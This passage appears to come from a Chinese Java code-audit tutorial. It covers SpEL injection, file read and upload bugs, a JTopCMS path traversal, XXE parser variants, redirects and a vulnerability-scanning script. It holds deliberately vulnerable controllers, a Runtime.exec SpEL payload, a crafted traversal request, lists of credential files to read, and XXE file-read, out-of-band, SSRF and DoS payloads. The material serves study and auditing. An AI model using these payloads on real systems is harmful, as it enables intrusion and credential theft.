@Value("#{systemProperties['user.name']}")
private String name;
// Getter and setter methods
}
  • 在XML配置中
    在 Spring 中,可以在 XML 配置中使用 SpEL 表达式来配置 Bean。SpEL 表达式可以在 XML 配置中用 #{expression} 的形式引用。例如,在以下示例中,SpEL表达式将被用于设置属性值:
1
2
3
<bean id="exampleBean" class="com.example.ExampleBean">
<property name="name" value="#{systemProperties['user.name']}"/>
</bean>
  • 在代码块中使用 Expression
    在 Spring 中,可以使用 SpEL 的 Expression 接口在代码块中使用 SpEL 表达式。使用 Expression 接口可以在运行时编译和评估表达式,也可以设置变量和函数等。
    例如,在以下示例中,SpEL表达式被用于计算两个数字的和:
1
2
3
4
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("2 + 3");
Integer sum = (Integer) exp.getValue();
System.out.println(sum); // Output: 5

SpEL 应用场景

Spring框架中的Bean定义,可以使用SpEL表达式来定义Bean的属性和构造函数参数。
示例代码如下所示:

1
2
3
<bean id="exampleBean" class="com.example.ExampleBean">
<property name="message" value="#{'Hello ' + worldBean.name}" />
</bean>

Spring Security框架中的权限控制,可以使用SpEL表达式来定义用户角色和资源权限。
示例代码如下所示:

1
2
3
4
@PreAuthorize("hasRole('ROLE_ADMIN') and #account.enabled")
public void deleteUser(Account account) {
// delete user
}

Spring Data框架中的查询条件,可以使用SpEL表达式来定义查询条件。
示例代码如下所示:

1
2
3
@Query("select e from Employee e where e.salary > :#{#salary + 1000}")
List<Employee> findEmployeesWithSalaryGreaterThan(@Param("salary") int
salary);

Spring Batch框架中的任务配置,可以使用SpEL表达式来定义任务的参数和条件。
示例代码如下所示:

1
2
3
4
5
6
7
8
<batch:job id="exampleJob">
<batch:step id="step1">
<batch:tasklet>
<batch:chunk reader="itemReader" writer="itemWriter" commit-
interval="#{jobParameters['commit.interval'] ?: 100}" />
</batch:tasklet>
</batch:step>
</batch:job>

Java代码中的通用表达式计算,可以使用SpEL表达式来计算任意表达式。
示例代码如下所所示:

1
2
3
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello ' + 'World'");
String message = (String) exp.getValue(); // message = "Hello World"

SpEL 注入漏洞

简单来说,当应用程序使用 SpEL 时,如果未正确处理用户输入数据,攻击者可以在表达式中注入任意的代码,并在应用程序的上下文中执行它,进而造成命令执行等漏洞。

在上面提到了 SpEL 的 EvaluationContext,其中 StandardEvaluationContext 使用方法更加完整。

因此,触发 SpEL 的漏洞的流程大致为:接收了用户的输入且未过滤等操作,将接收的参数使用StandardEvaluationContext 去处理,并对表达式调用了 getValue() 或 setValue() 方法。如上流程,后端接收了用户输入且未过滤,而攻击者精心构造攻击 payload 即可实现命令执行等危险操作。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.example.speldemo;

import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Objects;
@RestController
public class SpELdemo {
/**
* 127.0.0.1:8080/spel/vul1/?
ex=T(java.lang.Runtime).getRuntime().exec("calc")
*/
@GetMapping("/spel/vul1")
public String vul1(String ex) {
ExpressionParser parser = new SpelExpressionParser();
//StandardEvaluationContext权限过大,可以执行任意代码,默认使用可以不指定
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression exp = parser.parseExpression(ex);
return exp.getValue(evaluationContext).toString();
}

@GetMapping("/spel/vul2")
public String vul2(String ex){
ExpressionParser parser = new SpelExpressionParser();

Expression exp = parser.parseExpression(ex);
return exp.getValue().toString();
}

@GetMapping("/spel/vul3")
public String vul3(String ex) {
ExpressionParser parser = new SpelExpressionParser();
//StandardEvaluationContext权限过大,可以执行任意代码,默认使用可以不指定
Expression exp = parser.parseExpression(ex);
return exp.getValue().toString();
}
}

payload:

  • 127.0.0.1:8080/spel/vuln?ex=T(java.lang.Runtime).getRuntime().exec(“gnome-calculator”)

文件相关

文件上传

现在大多数项目都是基于SpringBoot架构进行的开发,官方不建议SpringBoot使用JSP,并且做了一些限制。我自己工作半年多测过的这几十个系统,没一个本地存储文件的,都是oss。在对SpringBoot项目审计时如果想要查看是否对JSP完全解析,可以从熟悉的 pom.xml 文件下手,查看是否引入了相关依赖。如下所示:

1
2
3
4
5
6
<!--用于编译jsp-->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<scope>provided</scope>
</dependency>

探索SpringBoot是否解析JSP目的是如果该项目存在任意文件上传漏洞,那么我们可以通过上传JspShell代码最大化我们的攻击.

推荐文章:

构造优质上传漏洞Fuzz字典 https://www.freebuf.com/articles/web/188464.html

阿里云OSS约等于文件上传漏洞 http://pirogue.org/2017/09/29/aliyunoss/

任意文件读取/下载漏洞

windows系统敏感文件

  • boot.ini #查看系统版本 https://www.baidu.com/link?url=nKzpWzggp1kJ00BAoWC2Zv33Gg9u4up4tLCYtoxbv6gS8CwAuhEIsfe9PE3wMraztG2jvppzyDcHN3cGX7ljrkZXnSY-rjmI_jjyBG-Tt6Lq64kgZiQVW8RDYdkd2XQl&wd=&eqid=b6a1b63500001eff000000065fceeed0
  • c:/windows/php.ini #php配置信息
  • c:/windows/my.ini #MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
  • c:/winnt/php.ini
  • c:/winnt/my.ini
  • c:\mysql\data\mysql\user.MYD #mysql.user表中的数据库连接密码
  • c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini #存储了虚拟主机网站路径和密码
  • c:\Program Files\Serv-U\ServUDaemon.ini
  • c:\windows\system32\inetsrv\MetaBase.xml #查看IIS的虚拟主机配置
  • c:\windows\repair\sam #WINDOWS系统初次安装的密码
  • c:\Program Files\ Serv-U\ServUAdmin.exe #6.0版本以前的serv-u管理员密码
  • c:\Program Files\RhinoSoft.com\ServUDaemon.exe
  • C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere*.cif文件 #存储了pcAnywhere的登陆密码
  • c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf#查看WINDOWS系统apache文件
  • c:/Resin-3.0.14/conf/resin.conf #查看jsp开发的网站resin文件配置信息.
  • c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf #查看linux系统配置的JSP虚拟主机
  • d:\APACHE\Apache2\conf\httpd.conf
  • C:\Program Files\mysql\my.ini
  • C:\mysql\data\mysql\user.MYD #存在MYSQL系统中的用户密码
  • C:\Windows\System32\drivers\etc\hostswinserver配置Telnet信息

Linux系统敏感文件

  • /etc/httpd/conf/httpd.conf
  • /etc/rc.local 有时可以读出来apache的路径
  • /usr/local/apache/conf/httpd.conf
  • /var/www/html/apache/conf/httpd.conf
  • /home/httpd/conf/httpd.conf
  • /usr/local/apache2/conf/httpd.conf
  • /usr/local/httpd/conf/httpd.conf
  • /etc/apache/httpd.conf
  • /usr/local/lib/php.ini
  • /etc/hosts.deny 定义禁止访问本机的主机
  • /etc/bashrc bash shell 的系统全局配置
  • /etc/group 系统用户组的定义文件
  • /etc/httpd/httpd.conf
  • /etc/issue 显示Linux核心的发行版本信息(用于本地登陆用户)
  • /etc/issue/net 显示Linux核心和发行版本信息(用于远程登陆用户)—-没成功
  • /etc/ssh/ssh_config ssh配置文件
  • /etc/termcap 终端定义和配置文件
  • /etc/xinetd.d
  • /etc/mtab 包含当前安装的文件系统列表 有时可以读取到当前网站的路径
  • redhat-release:包含识别当前Red Hat 版本号的字符串
  • shells:列出可用在系统上的shell命令行解释器(bash,sh,csh等).
  • /etc/vsftpd/vsftpd.conf
  • /etc/xinetd.conf xinetd 配置文件
  • /etc/protocols 列举当前可用的协议
  • /etc/logrotate.conf 维护 /var/log 目录中的日志文件
  • /etc/ld.so.conf “动态链接程序”(Dynamic Linker)的配置
  • /etc/wgetrc
  • Linux操作系统用户配置文件
    • /etc/passwd
    • /etc/shadow
    • /etc/inputrc
  • DNS客户机配置文件,设置DNS服务器的IP地址及DNS域名
    • /etc/resolv.conf
  • 内容为Default Router的ip地址
    • Redhat 5.x: /etc/sysconfig/network
  • /etc/sendmail.cf (Linux) Sendmail(EMAIL服务器)配置文件
  • /etc/sendmail.cw 本地主机名

关键字

  • org.apache.commons.io.FileUtils
  • org.springframework.stereotype.Controller
  • import java.nio.file.Files
  • import java.nio.file.Path
  • import java.nio.file.Paths
  • import java.util.Scanner
  • sun.nio.ch.FileChannelImpl
  • java.io.File.list/listFiles
  • java.io.FileInputStream
  • java.io.FileOutputStream
  • java.io.FileSystem/Win32FileSystem/WinNTFileSystem/UnixFileSystem
  • sun.nio.fs.UnixFileSystemProvider/WindowsFileSystemProvider
  • java.io.RandomAccessFile
  • sun.nio.fs.CopyFile
  • sun.nio.fs.UnixChannelFactory
  • sun.nio.fs.WindowsChannelFactory
  • java.nio.channels.AsynchronousFileChannel
  • FileUtil/IOUtil
  • BufferedReader
  • readAllBytes
  • scanner

上面是给出的文件操作类关键字,这些关键字不仅仅能定位到文件读取或下载操作,还会涉及到一些比
如文件删除,文件移动,文件遍历等操作。
总之上面通过关键字定位到文件操作类功能时,大家都可以进一步审计,也许还会存在任意文件删除,
任意文件遍历,任意文件移动等漏洞。换汤不换药,后面实战中遇到再进一步讲解吧。

Jtopcms目录穿越

数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /resources/downloadResFile.do?entry=*template*img**!11****!4****!11****!4****!11****!4****!11****!4****!11****!4****!11****!4****!11****!4****!11****!4****!11****!4****!11****!4****!11****!4****!11****!4****!11****!4****!11****!4****!11**etc HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080//core/templet/ManageTemplate.jsp?parentFolder=*template*img
Cookie: JSESSIONID=CF79A6652024C7923DBB3202ACC39ED5; webfx-tree-cookie-persistence=10644+10645+10648+10657+-9999
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="113", "Chromium";v="113", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

downFileInfo=passwd&_sys_jtop_token_key_=148*1832718297ff8081818a16e239965018a172ab63000d1

过滤:

在ResourcesService.java的getFullFilePathByManager函数中,

1
2
3
4
 if( ( endEntry.indexOf( "../" ) != -1 ) || ( endEntry.indexOf( "..%2F" ) != -1 )|| ( endEntry.indexOf( "..%2f" ) != -1 ) || ( endEntry.indexOf( "WEB-INF" ) != -1 ) )
{
return "";
}

image-20230821165419174

会过滤../、..%2F、..%2f、WEB-INF

突破点

在SystemSafeCharUtil.java中,有一组字符替换的函数decodeDangerChar

image-20230821170343550

其中会把**!4**替换为..,把**!11**替换为\,在win环境下,是可以用..\来跳到上层目录的所以上面数据包的在经过一系列处理后,就变成了

1
/home/this_is_y/Code_Audit/Web/JTopCMSV3-JTopCMSV3.0.2-OP/target/ROOT/demo/template/img\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc/passwd

当然,因为我这里是linux环境,所以复现不了

XXE

五种解析方式

DOM

DOM的全称是Document Object Model,也即文档对象模型。DOM 解析是将一个 XML 文档转换成一
个 DOM 树,并将 DOM 树放在内存中。
使用大致步骤:

  1. 创建一个 DocumentBuilderFactory 对象
  2. 创建一个 DocumentBuilder 对象
  3. 通过 DocumentBuilder 的 parse() 方法加载 XML
  4. 遍历 name 和 value 节点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.example.xxedemo;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
import javax.servlet.http.HttpServletRequest;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.InputStream;
import java.io.StringReader;
/**
* 编号7089
*/
@RestController
public class DOMTest {
@RequestMapping("/domdemo/vul")
public String domDemo(HttpServletRequest request) {
try {
//获取输入流
InputStream in = request.getInputStream();
String body = convertStreamToString(in);
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document document = db.parse(is);
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(),
node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
return "EXCEPT ERROR!!!";
}
}

public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
}

SAX

SAX 的全称是 Simple APIs for XML,也即 XML 简单应用程序接口。与 DOM 不同,SAX 提供的访问模
式是一种顺序模式,这是一种快速读写 XML 数据的方式。
使用大致步骤:

  1. 获取 SAXParserFactory 的实例
  2. 获取 SAXParser 实例
  3. 创建一个 handler() 对象
  4. 通过 parser 的 parse() 方法来解析XML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.example.xxedemo;

import com.sun.org.apache.xml.internal.resolver.readers.SAXParserHandler;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.xml.sax.InputSource;
import javax.servlet.http.HttpServletRequest;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.IOException;
import java.io.InputStream;
import java.io.StringReader;
/**
* 编号7089
*/
@RestController
public class SAXTest {
@RequestMapping("/saxdemo/vul")
public String saxDemo(HttpServletRequest request) throws IOException {
//获取输入流
InputStream in = request.getInputStream();
String body = convertStreamToString(in);
try {
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
SAXParserHandler handler = new SAXParserHandler();
//解析xml
parser.parse(new InputSource(new StringReader(body)), handler);
return "Sax xxe vuln code";
} catch (Exception e) {
return "Error......";
}
}
public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
}

JDOM

JDOM 是一个开源项目,它基于树型结构,利用纯 JAVA 的技术对 XML 文档实现解析、生成、序列化以
及多种操作。
使用大致步骤:

  1. 创建一个 SAXBuilder 的对象(和上面那个sax不一样)
  2. 通过 saxBuilder 的 build() 方法,将输入流加载到 saxBuilder 中
  3. 使用 JDOM 需要在 pom.xml 文件中引入该依赖后并重新加载,如下:
1
2
3
4
5
<dependency>
<groupId>org.jdom</groupId>
<artifactId>jdom</artifactId>
<version>1.1.3</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example.xxedemo;

import org.jdom.input.SAXBuilder;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.xml.sax.InputSource;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.StringReader;
/**
* 编号7089
*/
@RestController
public class JDOMTest {
@RequestMapping("/jdomdemo/vul")
public String jdomDemo(HttpServletRequest request) throws IOException {
//获取输入流
InputStream in = request.getInputStream();
String body = convertStreamToString(in);
try {
SAXBuilder builder = new SAXBuilder();
builder.build(new InputSource(new StringReader(body)));
return "jdom xxe vuln code";
} catch (Exception e) {
return "Error......";
}
}
public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
}

DOM4J

Dom4j 是一个易用的、开源的库,用于XML,XPath 和 XSLT。它应用于Java平台,采用了Java集合框架
并完全支持 DOM,SAX 和 JAXP。是 Jdom 的升级品
使用大致步骤:

  1. 创建 SAXReader 的对象 reader
  2. 通过 reader 对象的 read() 方法加载 xml 文件
    使用 JDOM 需要在 pom.xml 文件中引入该依赖后并重新加载,如下:
1
2
3
4
5
<dependency>
<groupId>dom4j</groupId>
<artifactId>dom4j</artifactId>
<version>1.6.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.xxedemo;
import org.dom4j.io.SAXReader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.xml.sax.InputSource;
import javax.servlet.http.HttpServletRequest;
import java.io.InputStream;
import java.io.StringReader;
/**
* 编号7089
*/
@RestController
public class DOM4JTest {
@RequestMapping("/dom4jdemo/vul")
public String dom4jDemo(HttpServletRequest request) {
try {
//获取输入流
InputStream in = request.getInputStream();
String body = convertStreamToString(in);
SAXReader reader = new SAXReader();
reader.read(new InputSource(new StringReader(body)));
return "DOM4J XXE......";
} catch (Exception e) {
return "EXCEPT ERROR!!!";
}
}
public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
}

Digester

Digester 是 Apache 下一款开源项目。 目前最新版本为 Digester 3.x 。
Digester 是对 SAX 的包装,底层是采用的是 SAX 解析方式。
使用大致步骤:

  1. 创建 Digester 对象
  2. 调用 Digester 对象的 parse() 解析 XML

使用 Digester 需要在 pom.xml 文件中引入该依赖后并重新加载,如下:

1
2
3
4
5
<dependency>
<groupId>commons-digester</groupId>
<artifactId>commons-digester</artifactId>
<version>2.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example.xxedemo;

import org.apache.commons.digester.Digester;
import org.dom4j.io.SAXReader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.xml.sax.InputSource;
import javax.servlet.http.HttpServletRequest;
import java.io.InputStream;
import java.io.StringReader;
@RestController
public class DigesterTest {
@RequestMapping("/digesterdemo/vul")
public String digesterDemo(HttpServletRequest request) {
try {
//获取输入流
InputStream in = request.getInputStream();
String body = convertStreamToString(in);
Digester digester = new Digester();
digester.parse(new StringReader(body));
return "Digester XXE......";
} catch (Exception e) {
return "EXCEPT ERROR!!!";
}
}
public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
}

关键字

XMLReaderFactory
createXMLReader
SAXBuilder
SAXReader
SAXParserFactory
newSAXParser
Digester
DocumentBuilderFactory
DocumentBuilder
XMLReader
DocumentHelper
XMLStreamReader
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
javax.xml.stream.XMLStreamReader
javax.xml.stream.XMLInputFactory
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
org.jdom.output.XMLOutputter
oracle.xml.parser.v2.XMLParser
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.dom4j.DocumentHelper
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.validation.Validator
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
java.beans.XMLDecoder

XXE payload

读文件

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///C:/Users/powerful/Desktop/test.txt">
]>
<root>&file;</root>

请求 DNSLog

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "https://dnslog地址">
]>
<root>&file;</root>

SSRF 探测内网(这个拿本地3306测试了一下,失败了)

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "http://127.0.0.1:6379">
]>
<root>&file;</root>

DoS 攻击(本地测了一些好像没啥用)

1
2
3
4
5
6
7
8
9
10
11
12
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

URL跳转

关键字

redirect
url
redirectUrl
callback
return_url
toUrl
ReturnUrl
fromUrl
redUrl
request
redirect_to
redirect_url
jump
jump_to
target
to
goto
link
linkto
domain
oauth_callback

301 重定向 - setHeader

301跳转也叫301重定向,也叫301转向,也叫301永久重定向,是网站建设过程中的一个功能。一般用于2个域名指向同一个网站。 一般来说,利用跳转,对网站的排名不会有影响。但不会转移全部权重。只能说让损失降到最低。

302 重定向 - sendRedirect

302跳转就网址重定向的一种,它区别于301跳转,301是网址永久重定向,302则是网址的临时定向。302转向或者302重定向(302 redirect)指的是当浏览器要求一个网页的时候,主机所返回的状态码。302状态码的意义是暂时转向到另外一个网址。

搜索敏感函数的脚本

来自https://github.com/Cryin/JavaID,修改了一部分代码,增加了一些规则,优化了一下输出结果

javaid.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# java source danger function identify prog
# Auth by Cryin'
# Modify by This_is_Y

import re
import os
import optparse
import sys
from lxml.html import etree
import logging


# 写入文件:漏洞类型,具体类型,文件名,匹配到的这行代码,文件路径,

# logging.basicConfig(filename='example.log', encoding='utf-8', level=logging.DEBUG)
logging.basicConfig(level=logging.DEBUG)


class javaid(object):
def __init__(self,dir):

self._function = ''
self._fpanttern = ''
self._line = 0
self._dir = dir
self._shortfilename = '' # 文件名
self._filename = '' # 文件路径
self._vultype = '' # 漏洞类型
self._code = '' # 匹配到的这行代码,文件路径
def _run(self):
try:
self.banner()
self.handlePath(self._dir)
print("[-]【JavaID】identify danger function Finished!" )
except:
raise

def report_id(self,vul):
# print( "[+]【"+vul+"】identify danger function ["+self._function+"] in file ["+self._filename+"]")
print( "[+]【"+self._vultype+"】【"+self._function+"】【"+ self._shortfilename + "】 "+self._filename)

# def report_line(self):
# print( " --> [+] on line : "+ str(self._line))

def handlePath(self, path):
'''
用递归遍历所有的文件名,并发给handleFile()方法去处理
'''
dirs = os.listdir(path)

for d in dirs:
subpath = os.path.join(path, d)
if os.path.isfile(subpath):
if os.path.splitext(subpath)[1] == '.java' or os.path.splitext(subpath)[1] == '.xml':
self._filename =subpath
(_, self._shortfilename) = os.path.split(subpath)
self.handleFile(subpath)
# logging.info(subpath)
# input(">>")
else:
self.handlePath(subpath)

def handleFile(self, fileName):
'''
打开文件,经过remove_comment处理后,发给check_regexp去使用正则处理
'''
#print 'begin read file:' + fileName
f = open(fileName, 'r')
self._line = 0
content = f.read()
content=self.remove_comment(content)
self.check_regexp(content)

f.close()
#print 'read over file:' + fileName
#print '------------------------'



def get_code(self,result):
fl = open(self._filename, 'r')
self._line =0
while 1:
line = fl.readline()
if not line:
break

self._line += 1
if result in line:
self._code = line.strip()
print("line:",self._line," code: \033[1;31m",self._code,"\033[0m")
break


def regexp_search(self,rule_dom,content):
'''
传入rule_dom,content,通过rule_dom来找到对应的规则,每条规则可以对应多个正则
'''
regmatch_dom = rule_dom[0].xpath("regmatch")
regexp_doms = regmatch_dom[0].xpath("regexp") if regmatch_dom != None else []
for regexp_dom in regexp_doms:
exp_pattern = re.compile(regexp_dom.text)
result = exp_pattern.findall(content)
if result:
for i in result:
# logging.info("=======result ========"+i)
#print( "identify sfunction is : "+self._function)
self.report_id(self._vultype)
self.get_code(i)
# print("")
# self.function_search_line()

return True


def check_regexp(self, content):
'''
使用正则搜索文件内容中的关键字
'''
if not content:
return
self._xmlstr_dom = etree.parse(regexp)
javaid_doms = self._xmlstr_dom.xpath("javaid")
for javaid_dom in javaid_doms:
self._vultype =javaid_dom.get("vultype")
#print( "vul_type "+self._vultype)
function_doms = javaid_dom.xpath("function")
for function_dom in function_doms:
rule_dom = function_dom.xpath("rule")
self._function =rule_dom[0].get("name")
self.regexp_search(rule_dom,content)
#print( "check_regexp search ...")
return True


def banner(self):
print( "[-]【JavaID】 Danger function identify tool")




if __name__ == '__main__':
parser = optparse.OptionParser('usage: python %prog [options](eg: python %prog -d /user/java/demo)')
parser.add_option('-d', '--dir', dest = 'dir', type = 'string', help = 'source code file dir')

(options, args) = parser.parse_args()

path = os.path.dirname(__file__)
regexp = path+"/regexp.xml"
if options.dir == None or options.dir == "":
parser.print_help()
sys.exit()
dir =options.dir
javaidentify = javaid(dir)
javaidentify._run()


regexp.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
<root>
<javaid vultype='XXE'>
<function>
<rule name='SAXReader'>
<regmatch>
<regexp>new\s+SAXReader\(\)</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='SAXBuilder'>
<regmatch>
<regexp>new\s+SAXBuilder\(\)</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='SAXParser'>
<regmatch>
<regexp>newSAXParser\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='XMLReader'>
<regmatch>
<regexp>createXMLReader\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='DocumentBuilder'>
<regmatch>
<regexp>newDocumentBuilder\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='XMLStreamReader'>
<regmatch>
<regexp>createXMLStreamReader\(</regexp>
</regmatch>
</rule>
</function>
</javaid>



<javaid vultype='ObjectDeserialization'>
<function>
<rule name='readObject'>
<regmatch>
<regexp>\.readObject\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='parseObject'>
<regmatch>
